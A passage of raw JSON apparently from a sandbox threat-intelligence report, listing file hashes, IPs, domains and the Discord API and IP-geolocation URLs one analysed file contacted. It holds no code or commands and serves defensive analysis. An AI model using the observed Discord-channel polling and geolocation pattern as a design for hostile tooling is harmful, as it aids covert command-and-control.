hosts"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"intel_graph":{"map":{"Domain:discord.com":{"type":"Domain","value":"discord.com"},"Domain:ip-api.com":{"type":"Domain","value":"ip-api.com"},"Domain:ipinfo.io":{"type":"Domain","value":"ipinfo.io"},"Domain:sb.scorecardresearch.com":{"type":"Domain","value":"sb.scorecardresearch.com"},"File:0512a35316ec9180437f86696a84c5c06a7e4e82e050055a656e5bf9fca206f9":{"type":"File","value":"0512a35316ec9180437f86696a84c5c06a7e4e82e050055a656e5bf9fca206f9"},"File:08dfdc46c68fa089a3580a1949f6661705d3755203b1db51226940ebe1a96f78":{"type":"File","value":"08dfdc46c68fa089a3580a1949f6661705d3755203b1db51226940ebe1a96f78"},"File:0a52c832b08413721f0bb09b7bdd496ef7b10e5e22a27e64a756f7daa184b425":{"type":"File","value":"0a52c832b08413721f0bb09b7bdd496ef7b10e5e22a27e64a756f7daa184b425"},"File:10dd1cf2754a59bdc8d64b68eab120f9027d9d3de87b29ad0f910c6308dbcf45":{"type":"File","value":"10dd1cf2754a59bdc8d64b68eab120f9027d9d3de87b29ad0f910c6308dbcf45"},"File:11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c":{"type":"File","value":"11f2ace2a37e59bf0f2fcfcc2523307408fa2e7f0aec561bc7531a8db130a83c"},"File:17d63275d00bdd8670422b95bd264c532998e0a1b041079e54fce4b6b7a55819":{"type":"File","value":"17d63275d00bdd8670422b95bd264c532998e0a1b041079e54fce4b6b7a55819"},"File:1bc82bed6143d2bf1b6b08a7809f4a5e29317d6fddd338a7da3c0223522e4bbf":{"type":"File","value":"1bc82bed6143d2bf1b6b08a7809f4a5e29317d6fddd338a7da3c0223522e4bbf"},"File:1bd81dfd19204b44662510d9054852fb77c9f25c1088d647881c9b976cc16818":{"type":"File","value":"1bd81dfd19204b44662510d9054852fb77c9f25c1088d647881c9b976cc16818"},"File:1ca895aba4e7435563a6b43e85eba67a0f8c74aa6a6a94d0fc48fa35535e2585":{"type":"File","value":"1ca895aba4e7435563a6b43e85eba67a0f8c74aa6a6a94d0fc48fa35535e2585"},"File:25b8f83a7767211b11132775a0e27a45aa4ec8ab4e6572599f9c172ae3606b40":{"type":"File","value":"25b8f83a7767211b11132775a0e27a45aa4ec8ab4e6572599f9c172ae3606b40"},"File:2703635d835396afd0f138d7c73751afe7e33a24f4225d08c1690b0a371932c0":{"type":"File","value":"2703635d835396afd0f138d7c73751afe7e33a24f4225d08c1690b0a371932c0"},"File:2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb":{"type":"File","value":"2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb"},"File:2ef52ad56b4803e264045c915e55c236cbfa045b84b81efefc218a19eb44bd2b":{"type":"File","value":"2ef52ad56b4803e264045c915e55c236cbfa045b84b81efefc218a19eb44bd2b"},"File:2fe8245835b29b96f292f8d4d4237659cbd1958de46077b2a18f2be5cca2d301":{"type":"File","value":"2fe8245835b29b96f292f8d4d4237659cbd1958de46077b2a18f2be5cca2d301"},"File:33f4fddc181066fce06b2227bded813f95e94ed1f3d785e982c6b6b56c510c57":{"type":"File","value":"33f4fddc181066fce06b2227bded813f95e94ed1f3d785e982c6b6b56c510c57"},"File:358c2378268f96e283c590e45a4c8864df0f5400814f1b84e555336a15484ee3":{"type":"File","value":"358c2378268f96e283c590e45a4c8864df0f5400814f1b84e555336a15484ee3"},"File:39095f59c41d76ec81bb2723d646fde4c148e7cc3402f4980d2ade95cb9c84f9":{"type":"File","value":"39095f59c41d76ec81bb2723d646fde4c148e7cc3402f4980d2ade95cb9c84f9"},"File:3a72b4f29f39a265d32ad12f0ce15dbf60129c840e10d84d427829ede45e78ad":{"type":"File","value":"3a72b4f29f39a265d32ad12f0ce15dbf60129c840e10d84d427829ede45e78ad"},"File:3d27383a00397dae64b266189791ac20f84a19820778724e05705c2f6012dfd9":{"type":"File","value":"3d27383a00397dae64b266189791ac20f84a19820778724e05705c2f6012dfd9"},"File:48edf494ba2e30b7ae14075df066dc6adbd713420c363e3dd2a52f02e2cd10a0":{"type":"File","value":"48edf494ba2e30b7ae14075df066dc6adbd713420c363e3dd2a52f02e2cd10a0"},"File:4ad565a8ba3ef0ea8ab87221ad11f83ee0bc844ce236607958406663b407333e":{"type":"File","value":"4ad565a8ba3ef0ea8ab87221ad11f83ee0bc844ce236607958406663b407333e"},"File:4cadbc0c39da7c6722206fdcebd670abe5b8d261e7b041dd94f9397a89d1990d":{"type":"File","value":"4cadbc0c39da7c6722206fdcebd670abe5b8d261e7b041dd94f9397a89d1990d"},"File:51a3d8e40b061db4fc77f9a3b18e6c2f912c4edf467e46c95ac325d35f2be4df":{"type":"File","value":"51a3d8e40b061db4fc77f9a3b18e6c2f912c4edf467e46c95ac325d35f2be4df"},"File:53b25e753ca785bf8b695d89dde5818a318890211dc992a89146f16658f0b606":{"type":"File","value":"53b25e753ca785bf8b695d89dde5818a318890211dc992a89146f16658f0b606"},"File:57b7826fd3883daabbb8951814655a4ec253acb822c0ff6ce4002da9463064f5":{"type":"File","value":"57b7826fd3883daabbb8951814655a4ec253acb822c0ff6ce4002da9463064f5"},"File:591358eb4d1531e9563ee0813e4301c552ce364c912ce684d16576eabf195dc3":{"type":"File","value":"591358eb4d1531e9563ee0813e4301c552ce364c912ce684d16576eabf195dc3"},"File:5ccb89e93d67bc3288d4e84649c5346e66e15e3d7cd65d989daf3f4cb584be9a":{"type":"File","value":"5ccb89e93d67bc3288d4e84649c5346e66e15e3d7cd65d989daf3f4cb584be9a"},"File:606d66d82db562ea7979179d06486a0f94d079941d26b80a1e2c49d29959df6f":{"type":"File","value":"606d66d82db562ea7979179d06486a0f94d079941d26b80a1e2c49d29959df6f"},"File:60fc31d2a0c634412f529dba76af3b9bf991352877c6dae528186d3935704cfd":{"type":"File","value":"60fc31d2a0c634412f529dba76af3b9bf991352877c6dae528186d3935704cfd"},"File:6eda016742a6171205a387a14b3c0b331841567740376f56768f8c151724207d":{"type":"File","value":"6eda016742a6171205a387a14b3c0b331841567740376f56768f8c151724207d"},"File:6ee44dd0d8510dc024c9f7c79b1b9fa88c987b26b6beb6653ddd11751c34e5dc":{"type":"File","value":"6ee44dd0d8510dc024c9f7c79b1b9fa88c987b26b6beb6653ddd11751c34e5dc"},"File:7606f4044ffc923eac208f5bc5acb1dea14fe8edf2efe08a63e11177f4c7a016":{"type":"File","value":"7606f4044ffc923eac208f5bc5acb1dea14fe8edf2efe08a63e11177f4c7a016"},"File:77707cb19dc91eb634d70f31b21022ee4c6ea5ce834c6952bc56ba00c6fd644d":{"type":"File","value":"77707cb19dc91eb634d70f31b21022ee4c6ea5ce834c6952bc56ba00c6fd644d"},"File:7809160932f44e59b021699f5bc68799eb7293ee1fa926d6fcca3c3445302e61":{"type":"File","value":"7809160932f44e59b021699f5bc68799eb7293ee1fa926d6fcca3c3445302e61"},"File:7bb0a7df2d5cb829319dd8d122039843e2a762361bb5a61bb5d24ca34f4040b5":{"type":"File","value":"7bb0a7df2d5cb829319dd8d122039843e2a762361bb5a61bb5d24ca34f4040b5"},"File:7c7f6393f06de11750adb09cc5698ae55cd9fb27b2e51e207286feb1b5b2b156":{"type":"File","value":"7c7f6393f06de11750adb09cc5698ae55cd9fb27b2e51e207286feb1b5b2b156"},"File:7f39ba298b41e4963047341288cab36b6a241835ee11ba4ad70f44dacd40906c":{"type":"File","value":"7f39ba298b41e4963047341288cab36b6a241835ee11ba4ad70f44dacd40906c"},"File:88ace577a9c51061cb7d1a36babbbefa48212fadc838ffde98fdfff60de18386":{"type":"File","value":"88ace577a9c51061cb7d1a36babbbefa48212fadc838ffde98fdfff60de18386"},"File:8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32":{"type":"File","value":"8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32"},"File:8f105771b236dbcb859de271f0a6822ce1cb79c36988dd42c9e3f6f55c5f7eb9":{"type":"File","value":"8f105771b236dbcb859de271f0a6822ce1cb79c36988dd42c9e3f6f55c5f7eb9"},"File:8f35ff35e76a2308ce0a50200fb01b55569f30952098239f7e000f3da1393a61":{"type":"File","value":"8f35ff35e76a2308ce0a50200fb01b55569f30952098239f7e000f3da1393a61"},"File:9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0":{"type":"File","value":"9052a85ac9947afbbdfdd62b0cad7501b668e6107832cefaa4b76377d710dae0"},"File:91d249d7bc0e38ef6bcb17158b1fdc6dd8888dc086615c9b8b750b87e52a5fb3":{"type":"File","value":"91d249d7bc0e38ef6bcb17158b1fdc6dd8888dc086615c9b8b750b87e52a5fb3"},"File:93c624b366ba16c643fc8933070a26f03b073ad0cf7f80173266d67536c61989":{"type":"File","value":"93c624b366ba16c643fc8933070a26f03b073ad0cf7f80173266d67536c61989"},"File:9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f":{"type":"File","value":"9590a3f4b7c0801cd379341d40bb89b5dc9a4e232c9498b6f3bc6b5e99d4ae7f"},"File:9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6":{"type":"File","value":"9605f332fb52636d77a3125abc7e42ba22b3838dcf136d81f37fe5875cbd62d6"},"File:99c296ca2b4372418edbdcbd923ab0df2cdbcf406782694d7376f2b01e5010c9":{"type":"File","value":"99c296ca2b4372418edbdcbd923ab0df2cdbcf406782694d7376f2b01e5010c9"},"File:9a9e2a65a281644e368d0f272b95ba5f6b445d1c35910d06056c5ebeb77402db":{"type":"File","value":"9a9e2a65a281644e368d0f272b95ba5f6b445d1c35910d06056c5ebeb77402db"},"File:9ca27b1a45178437d9b57e0d3024ed535226f5150ff16fd2363d90171856f0d8":{"type":"File","value":"9ca27b1a45178437d9b57e0d3024ed535226f5150ff16fd2363d90171856f0d8"},"File:9dc1e91e71c7c054854bd1487cb4e6946d82c9f463430f1c4e8d1471005172b1":{"type":"File","value":"9dc1e91e71c7c054854bd1487cb4e6946d82c9f463430f1c4e8d1471005172b1"},"File:9e99b2184c60f21a88cafc374386ded3559e8694ed7cf111f2869e066d303334":{"type":"File","value":"9e99b2184c60f21a88cafc374386ded3559e8694ed7cf111f2869e066d303334"},"File:9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde":{"type":"File","value":"9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde"},"File:a4c2229bdc2a2a630acdc095b4d86008e5c3e3bc7773174354f3da4f5beb9cde":{"type":"File","value":"a4c2229bdc2a2a630acdc095b4d86008e5c3e3bc7773174354f3da4f5beb9cde"},"File:a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e":{"type":"File","value":"a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e"},"File:a9b13a1cd1b8c19b0c6b4afcd5bb0dd29c0e2288231ac9e6db8510094ce68ba6":{"type":"File","value":"a9b13a1cd1b8c19b0c6b4afcd5bb0dd29c0e2288231ac9e6db8510094ce68ba6"},"File:a9c5a153d8c0286f9b41a2b1c65854ad9e6471b8755b7de87bae4470e60bcab6":{"type":"File","value":"a9c5a153d8c0286f9b41a2b1c65854ad9e6471b8755b7de87bae4470e60bcab6"},"File:adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952":{"type":"File","value":"adf71d85781a2fe937fcc44c0961498e2cf30849f9863ff7b5f7510817cea952"},"File:b1848b5a0e08f0a39d7aab9488e971cb80f573c0acf1205abfa7496e9b611ad6":{"type":"File","value":"b1848b5a0e08f0a39d7aab9488e971cb80f573c0acf1205abfa7496e9b611ad6"},"File:b203d862ddef1dd62bf623fc866c7f7a9c317c1c2ae30d1f52cb41f955b5698e":{"type":"File","value":"b203d862ddef1dd62bf623fc866c7f7a9c317c1c2ae30d1f52cb41f955b5698e"},"File:b3cb053566b6f38c38bdf4822e53f8f8a2a377e05c503fdd69c52e5d1c6c104c":{"type":"File","value":"b3cb053566b6f38c38bdf4822e53f8f8a2a377e05c503fdd69c52e5d1c6c104c"},"File:b4e95439db8008cdede934b11ae8984b48ebf658140cb243d48fe5751dd7b96e":{"type":"File","value":"b4e95439db8008cdede934b11ae8984b48ebf658140cb243d48fe5751dd7b96e"},"File:b762061b688aae679afe788904d2c9970f74a7dac98f3b42463d08f25e483d3f":{"type":"File","value":"b762061b688aae679afe788904d2c9970f74a7dac98f3b42463d08f25e483d3f"},"File:b96d817debe1747d8ca3a5e5b57d1021bf0207ebbd907242331357b97c65e6d7":{"type":"File","value":"b96d817debe1747d8ca3a5e5b57d1021bf0207ebbd907242331357b97c65e6d7"},"File:bab9ac3ec83e380ae51e4295ef3bf2c738627812d3a49d1e713661abbc8dc57a":{"type":"File","value":"bab9ac3ec83e380ae51e4295ef3bf2c738627812d3a49d1e713661abbc8dc57a"},"File:bd14c67ea28e21d6257ad780a37122c9b5773f69e693f5db6bffaee4d839526e":{"type":"File","value":"bd14c67ea28e21d6257ad780a37122c9b5773f69e693f5db6bffaee4d839526e"},"File:c05f1fffe3b5a2738ea54ce9485cca026fb9635f982626fba1e1dcc531897273":{"type":"File","value":"c05f1fffe3b5a2738ea54ce9485cca026fb9635f982626fba1e1dcc531897273"},"File:c4eca98c3c67b6395d5b005b00ac1eb0318b86b23aa71035a44c2b1602befba9":{"type":"File","value":"c4eca98c3c67b6395d5b005b00ac1eb0318b86b23aa71035a44c2b1602befba9"},"File:c5902934d026d7e15fbe9917d474f3322846a41a25e66f4b2b1f758801879f4b":{"type":"File","value":"c5902934d026d7e15fbe9917d474f3322846a41a25e66f4b2b1f758801879f4b"},"File:c833cfdab82da58163acdada02cdb2b92d42bc543e1b5519dbcbe4d3805a98fc":{"type":"File","value":"c833cfdab82da58163acdada02cdb2b92d42bc543e1b5519dbcbe4d3805a98fc"},"File:d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7":{"type":"File","value":"d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7"},"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1":{"type":"File","value":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1"},"File:d56ce7b1cd76108ad6c137326ec694a14c99d48c3d7b0ace8c3ff4d9bcee3ce8":{"type":"File","value":"d56ce7b1cd76108ad6c137326ec694a14c99d48c3d7b0ace8c3ff4d9bcee3ce8"},"File:d8ba5f17b9ffcbf3aeaf3fa1da226832d2fa90f81acce0cd669464e76ce434ac":{"type":"File","value":"d8ba5f17b9ffcbf3aeaf3fa1da226832d2fa90f81acce0cd669464e76ce434ac"},"File:e38618a0cb83a0287bee3b8bd68a710ae0d34178217ef4fa21ed56f765111943":{"type":"File","value":"e38618a0cb83a0287bee3b8bd68a710ae0d34178217ef4fa21ed56f765111943"},"File:e39e95e95c0cb262c70ca4e676e440cf34be5643fe5a31cdfe23e8ab6f1422cb":{"type":"File","value":"e39e95e95c0cb262c70ca4e676e440cf34be5643fe5a31cdfe23e8ab6f1422cb"},"File:e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7":{"type":"File","value":"e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7"},"File:ebb2ae5535a64f65daeab8235585114fc9dd2cf1a49f5852d446250b998b6ae4":{"type":"File","value":"ebb2ae5535a64f65daeab8235585114fc9dd2cf1a49f5852d446250b998b6ae4"},"File:ec080194f01e4095c7fb43dbd7ed05af922c5b34295056a9ff56782741d65481":{"type":"File","value":"ec080194f01e4095c7fb43dbd7ed05af922c5b34295056a9ff56782741d65481"},"File:efc1e4460984a73cf47a3def033af1c8f3b1dbc1a56cd27781d3aacf3e3330cb":{"type":"File","value":"efc1e4460984a73cf47a3def033af1c8f3b1dbc1a56cd27781d3aacf3e3330cb"},"File:f6156b1020380ec4f0e48577ebedaaef5fb1ab1f337d8b4e72e6a33a7567a9cc":{"type":"File","value":"f6156b1020380ec4f0e48577ebedaaef5fb1ab1f337d8b4e72e6a33a7567a9cc"},"File:fc9d86cec621383eab636ebc87ddd3f5c19a3cb2a33d97be112c051d0b275429":{"type":"File","value":"fc9d86cec621383eab636ebc87ddd3f5c19a3cb2a33d97be112c051d0b275429"},"Ip:162.159.128.233":{"type":"Ip","value":"162.159.128.233"},"Ip:162.159.137.232":{"type":"Ip","value":"162.159.137.232"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Ip:34.117.59.81":{"type":"Ip","value":"34.117.59.81"},"Ip:99.84.160.115":{"type":"Ip","value":"99.84.160.115"},"Url:/api/v10/channels/1567592947002908814":{"type":"Url","value":"/api/v10/channels/1567592947002908814"},"Url:/api/v10/channels/1567592947002908814/messages":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568272683614076941&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568272683614076941&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568273794320040050&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568273794320040050&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568273896438898770&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568273896438898770&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?after=1568273912763256853&limit=25":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?after=1568273912763256853&limit=25"},"Url:/api/v10/channels/1567592947002908814/messages?limit=1":{"type":"Url","value":"/api/v10/channels/1567592947002908814/messages?limit=1"},"Url:/api/v10/users/@me":{"type":"Url","value":"/api/v10/users/@me"},"Url:/json":{"type":"Url","value":"/json"},"Url:/json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query":{"type":"Url","value":"/json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query"}},"chains":[{"id":"sandbox_network","root":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","edges":[{"edge_kind":"contacted_ip","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Ip:162.159.137.232"},{"edge_kind":"contacted_ip","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_ip","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Ip:99.84.160.115"},{"edge_kind":"contacted_ip","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Ip:162.159.128.233"},{"edge_kind":"contacted_ip","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Ip:34.117.59.81"},{"edge_kind":"contacted_domain","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Domain:discord.com"},{"edge_kind":"resolves_to","from_key":"Domain:discord.com","to_key":"Ip:162.159.137.232"},{"edge_kind":"contacted_domain","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Domain:ip-api.com"},{"edge_kind":"resolves_to","from_key":"Domain:ip-api.com","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Domain:sb.scorecardresearch.com"},{"edge_kind":"resolves_to","from_key":"Domain:sb.scorecardresearch.com","to_key":"Ip:99.84.160.115"},{"edge_kind":"contacted_domain","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Domain:ipinfo.io"},{"edge_kind":"resolves_to","from_key":"Domain:ipinfo.io","to_key":"Ip:34.117.59.81"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/users/@me"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?limit=1"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/json"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568272683614076941&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568273794320040050&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568273896438898770&limit=25"},{"edge_kind":"contacted_url","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"Url:/api/v10/channels/1567592947002908814/messages?after=1568273912763256853&limit=25"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","edges":[{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:b96d817debe1747d8ca3a5e5b57d1021bf0207ebbd907242331357b97c65e6d7"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:3d27383a00397dae64b266189791ac20f84a19820778724e05705c2f6012dfd9"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:e38618a0cb83a0287bee3b8bd68a710ae0d34178217ef4fa21ed56f765111943"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:ec080194f01e4095c7fb43dbd7ed05af922c5b34295056a9ff56782741d65481"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:57b7826fd3883daabbb8951814655a4ec253acb822c0ff6ce4002da9463064f5"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:e39e95e95c0cb262c70ca4e676e440cf34be5643fe5a31cdfe23e8ab6f1422cb"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:606d66d82db562ea7979179d06486a0f94d079941d26b80a1e2c49d29959df6f"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:1bc82bed6143d2bf1b6b08a7809f4a5e29317d6fddd338a7da3c0223522e4bbf"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:a9c5a153d8c0286f9b41a2b1c65854ad9e6471b8755b7de87bae4470e60bcab6"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:25b8f83a7767211b11132775a0e27a45aa4ec8ab4e6572599f9c172ae3606b40"},{"edge_kind":"extracted","from_key":"File:d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","to_key":"File:2ef52ad56b4803e264045c915e55c236cb